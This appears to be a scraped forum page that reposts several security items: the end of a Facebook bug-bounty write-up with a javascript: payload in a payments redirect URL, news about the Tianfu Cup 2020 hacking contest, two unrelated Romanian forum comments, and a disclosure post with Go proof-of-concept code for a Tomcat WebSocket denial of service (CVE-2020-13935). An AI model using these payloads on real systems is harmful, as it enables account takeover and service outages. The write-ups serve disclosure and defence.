class="icon">Start Attack</span> </button> </html> Here we won’t redirect directly to page_proxy endpoint since we need to set a timeout to ensure that https://www.facebook.com/platform/page_proxy/ was loaded. page2.html: <html> <script> setTimeout(function(){ window.location.href = 'https://our.alpha.facebook.com/payments/redirect.php?type=rp&merchant_group=86&name=_self&params[appTabUrl]=javascript:alert(1);&params[signedRequest]=SIGNED_X&platformAppControllerGetFrameParamsResponse=1';} ,3000); </script> </html> Here we redirect to the vulnerable endpoint after the timeout. This would only execute alert(1) however the POC i sent would steal a first-party access_token which could be used to takeover the Facebook account. This was easy since we can simply read , for example, the response of an oauth flow to authorize a first-party Facebook application. Fix Facebook fixed this bug by completely removing the usage of postMessage in payments redirects ( /payments/redirect.php). Also, appTabUrl is now checked if it starts with https[ /^https:/.test(a.data.params.appTabUrl) ] Timeline Oct 10, 2020— Report Sent  Oct 10, 2020—  Acknowledged by Facebook Oct 10, 2020 — $25K in total including bonuses Awarded by Facebook (During BountyCon2020) Oct 28, 2020— Fixed by Facebook Sursa: https://ysamm.com/?p=493

Windows 10, iOS, Chrome, Firefox and Others Hacked at Tianfu Cup Competition November 08, 2020 Ravie Lakshmanan Multiple software products from Adobe, Apple, Google, Microsoft, Mozilla, and Samsung were successfully pwned with previously unseen exploits in Tianfu Cup 2020, the third edition of the international cybersecurity contest held in the city of Chengdu, China. "Many mature and hard targets have been pwned on this year's contest," the event organizers said. "11 out of 16 targets cracked with 23 successful demos." The hacking competition showed off hacking attempts against a number of platforms, including: Adobe PDF Reader Apple iPhone 11 Pro running iOS 14 and Safari browser ASUS RT-AX86U router CentOS 8 Docker Community Edition Google Chrome Microsoft Windows 10 v2004 Mozilla Firefox Samsung Galaxy S20 running Android 10 TP-Link TL-WDR7660 router VMware ESXi hypervisor The Tianfu Cup, analogous to Pwn2Own, was started in 2018 following a government regulation in the country that barred security researchers from participating in international hacking competitions because of national security concerns. The two-day event, which happened over the weekend, saw white hat hackers from 15 different teams using original vulnerabilities to break into widely used software and mobile devices in 5 minutes over three attempts. The idea, in a nutshell, is to use various web browsers to navigate to a remote URL or use a flaw in the software to control the browser or the underlying operating system. Qihoo 360's Enterprise Security and Government (ESG) Vulnerability Research Institute came out top with $744,500 in prize money, followed by Ant-Financial Light-Year Security Lab ($258,000) and a security researcher named Pang ($99,500). Patches for all the demonstrated bugs demonstrated are expected to be released in the coming days. Found this article interesting? Follow THN on Facebook, Twitter  and LinkedIn to read more exclusive content we post. Sursa: https://thehackernews.com/2020/11/windows-10-ios-chrome-firefox-and.html?utm_source=dlvr.it&utm_medium=twitter

Gata cu insultele, fiecare poate intelege ce vrea atat in legatura cu termenul "hacker" cat si de locurile in care acestia activeaza. De exemplu, parerea mea e simpla: nu prea mai exista hackeri. Iar prin hackeri sunt destul de sigur ca inteleg ceva diferit atat fata de voi cat si fata de persoane cu multi ani experienta in "security". Mai exact, pentru mine un hacker este o persoana care: - face research si descopera lucruri noi, tehnici in principiu - nu o face pentru bani (adica lucrand la o firma care il plateste sa faca research si sa il publice pentru reclama) - face public ceea ce descopera, gratuit (nu la o conferinta la care biletul costa 2000 de USD) Example: AlephOne care ne-a invatat pe toti ce e un buffer overflow, rainforestpuppy care ne-a invatat SQL Injection si multi altii. In prezent, nu prea mai exista, sau exista foarte putini. Asadar singurul hacker in viata ramane tot @black_death_c4t supranumit si "Hackerul de narghilea". Stiu ca voi va referiti la persoane care fac diverse lucruri, fie ilegale, fie la limita legalitatii pentru a obtine bani din activitatile sale. Eu mi-am spus parerea, voi aveti alte pareri, e normal, e un Internet liber si trebuie sa acceptam ca nu gandim cu totii la fel. Deci nu trebuie sa ii jignim pe cei care au o parere diferita de a noastra, nu e un domeniu in care unul sa aiba dreptate si altul nu, cu totii avem dreptate.

Da, e destul de nasol, mai ales ca se crede ca mutatia ar putea afecta generarea de anticorpi... Sa speram ca nu ajunge mai departe, cel putin mutatia asta. Oricum probabil vor mai aparea diverse mutatii, putem doar sa speram ca nu unele care sa il faca mai nasol.

2 November 2020 DIVING INTO A WEBSOCKET VULNERABILITY IN APACHE TOMCAT Share via: Apache Tomcat is a Java application server commonly used with web applications, which we often encounter in penetration tests. In this post we will dive into the analysis of a vulnerability in the Apache Tomcat server and an exploit which helped our customer to assess the risk on their business. The vulnerability is a denial-of-service vulnerability appearing in conjunction with WebSockets, and has been assigned CVE-2020-13935 . During penetration tests, we often see instances running outdated versions of Apache Tomcat. We classify software as “outdated” if a given version contains vulnerabilities for which the vendor (or maintainer) has released a corresponding security update. However, some vulnerabilities are only exploitable in certain scenarios and upgrading the web application server might be costly. Therefore, it is essential to have concise information to make an informed decision on whether the vulnerability affects a given product and whether an upgrade is worthwhile. Unfortunately, not all vendors/maintainers are transparent about security. The release notes for Apache Tomcat 9.0.37 show that a vulnerability has been found and patched in July 2020, stating the following: The payload length in a WebSocket frame was not correctly validated. Invalid payload lengths could trigger an infinite loop. Multiple requests with invalid payload lengths could lead to a denial of service. This information is quite vague, resulting in the following questions: What constitutes an invalid payload length? What kind of denial-of-service occurs? CPU or memory exhaustion? Maybe even a crash? Under which circumstances are applications vulnerable? When does Apache Tomcat parse WebSocket messages? What investment do attackers need to make? Does exploitation require a large amount of bandwidth or computing power? Are there possible workarounds for cases where an upgrade is not feasible? These questions can be answered with some analysis, and (among many other things) that is also part of our penetration tests. The Patch The Apache security team linked the corresponding patch for this vulnerability. The following code was added to java/org/apache/tomcat/websocket/WsFrameBase.java, fixing the vulnerability (reformatted for legibility): // The most significant bit of those 8 bytes is required to be zero // (see RFC 6455, section 5.2). If the most significant bit is set, // the resulting payload length will be negative so test for that. if (payloadLength < 0) { throw new WsIOException( new CloseReason( CloseCodes.PROTOCOL_ERROR, sm.getString("wsFrame.payloadMsbInvalid") ) ); } As we can see, the change consists of an additional check on the payload length field, which is of the type long, raising an exception if the value is negative. But how can a payload length be negative? In order to answer this question, let us take a look at the structure of a WebSocket frame, provided in the corresponding RFC: 0 1 2 3 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 +-+-+-+-+-------+-+-------------+-------------------------------+ |F|R|R|R| opcode|M| Payload len | Extended payload length | |I|S|S|S| (4) |A| (7) | (16/64) | |N|V|V|V| |S| | (if payload len==126/127) | | |1|2|3| |K| | | +-+-+-+-+-------+-+-------------+ - - - - - - - - - - - - - - - + | Extended payload length continued, if payload len == 127 | + - - - - - - - - - - - - - - - +-------------------------------+ | |Masking-key, if MASK set to 1 | +-------------------------------+-------------------------------+ | Masking-key (continued) | Payload Data | +-------------------------------- - - - - - - - - - - - - - - - + : Payload Data continued ... : + - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - + | Payload Data continued ... | +---------------------------------------------------------------+ The first 16 bits of a frame contain several bit flags as well as a 7-bit payload length. If this payload length is set to 127 (binary 1111111), the chart indicates that a so-called extended payload length of 64 bit should be used. Additionally, the WebSocket RFC states: If [the 7-bit payload length is] 127, the following 8 bytes interpreted as a 64-bit unsigned integer (the most significant bit MUST be 0) are the payload length. It seems to be a peculiar choice that despite the field clearly being a 64-bit unsigned integer, the RFC additionally requires the most significant bit to be zero. Perhaps this choice was made to provide interoperability with signed implementations, however it may cause confusion. In this case it even led to a security vulnerability. Writing an Exploit In the following we will implement a proof-of-concept in Go. Why Go you might ask? Go is awesome ❤️ and built-in concurrency as well as good library support for WebSockets come in handy. Furthermore, we are able to cross-compile the PoC for any platform we need to. Let’s move along the specification and construct a WebSocket frame that has a negative payload length when parsed by Apache Tomcat. First, the values for the bit flags FIN, RSV1, RSV2 and RSV3 need to be chosen. FIN is used to indicate the final frame of a message. As the whole message that we want to send is contained in a single frame, we set this bit to one. The RSV bits are reserved for future use and extensions to the WebSocket specification, so they are all set to zero. The opcode field (4 bit) represents the type of the sent data. The value has to be valid, otherwise the frame would be dropped. In this case, we want to send a simple text payload, which requires this field to be set to the value 1. The Go library github.com/gorilla/websocket provides a constant for that which we will use. Now we can already construct the first byte of our malicious WebSocket frame: var buf bytes.Buffer fin := 1 rsv1 := 0 rsv2 := 0 rsv3 := 0 opcode := websocket.TextMessage buf.WriteByte(byte(fin<<7 | rsv1<<6 | rsv2<<5 | rsv3<<4 | opcode)) The first bit of the second byte is the MASK bit, which must be set to one in frames being sent from the client to the server. The interesting part is the payload length, which can vary in size. If the payload size of the WebSocket message doesn’t exceed 125 bytes, the length can be encoded directly in the 7-bit payload length field. For payload lengths between 126 and 65535, the 7-bit payload length field is set to the constant 126 and the payload length is encoded as a 16-bit unsigned integer in the next two bytes. For larger payloads, the 7-bit payload length field must be set to 127 and the next four bytes encode the payload length as an 64-bit unsigned integer. As discussed before, for the payload length being defined in 64 bits the most significant bit (MSB) must be set to zero according to the specification. To trigger the vulnerable code path in Apache Tomcat we need to specify a 64-bit payload length with the MSB set to one, so we set the 7-bit payload length field to 1111111: // always set the mask bit // indicate 64 bit message length buf.WriteByte(byte(1<<7 | 0b1111111)) In order to construct a frame with an invalid payload length, triggering the misbehavior in the Apache Tomcat implementation, we set the following eight bytes to 0xFF: // set msb to 1, violating the spec and triggering the bug buf.Write([]byte{0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF}) The following four bytes are the masking key. The specification requires this to be a random 32-bit value from a strong source of entropy, but as we violate the specification already, we just use a static masking key to make the code easier to read: // 4 byte masking key // leave zeros for now, so we do not need to mask maskingKey := []byte{0, 0, 0, 0} buf.Write(maskingKey) The actual payload itself can be smaller than the specified length: // write an incomplete message buf.WriteString("test") The assembly and transmission of our packet looks as follows. For good measure, we are keeping the connection open for 30 seconds after sending: ws, _, err := websocket.DefaultDialer.Dial(url, nil) if err != nil { return fmt.Errorf("dial: %s", err) } _, err = ws.UnderlyingConn().Write(buf.Bytes()) if err != nil { return fmt.Errorf("write: %s", err) } // keep the websocket connection open for some time time.Sleep(30 * time.Second) The code for this proof-of-concept exploit is available at github.com/RedTeamPentesting/CVE-2020-13935. Build the executable by just running go build. To test the program, we can set up a vulnerable Apache Tomcat instance and target one of the WebSocket examples provided with the installation: $ ./tcdos ws://localhost:8080/examples/websocket/echoProgrammatic That is all it takes to exploit the denial-of-service vulnerability. If a vulnerable WebSocket endpoint is now targeted and multiple malicious requests are made, the CPU usage goes up quite quickly and the server becomes unresponsive. Note that the parsing code is only triggered with endpoints that actually expect WebSocket messages. We cannot send such a message to an arbitrary Tomcat HTTP endpoint. According to the vulnerability description the following versions of Apache Tomcat are affected: 10.0.0-M1 to 10.0.0-M6 9.0.0.M1 to 9.0.36 8.5.0 to 8.5.56 7.0.27 to 7.0.104 For Defenders If possible, update your Apache Tomcat server to the current version. However, there might be cases when updating is not feasible or very costly. In this case, you should evaluate whether your product is vulnerable. As explained above, the bug can only be triggered on WebSockets endpoints. Therefore, disabling or restricting access to those endpoints will mitigate the issue. Note that the built-in example directory also contains endpoints that handle WebSockets. Thats all folks, stay tuned for further updates! 😄 Sursa: https://blog.redteam-pentesting.de/2020/websocket-vulnerability-tomcat/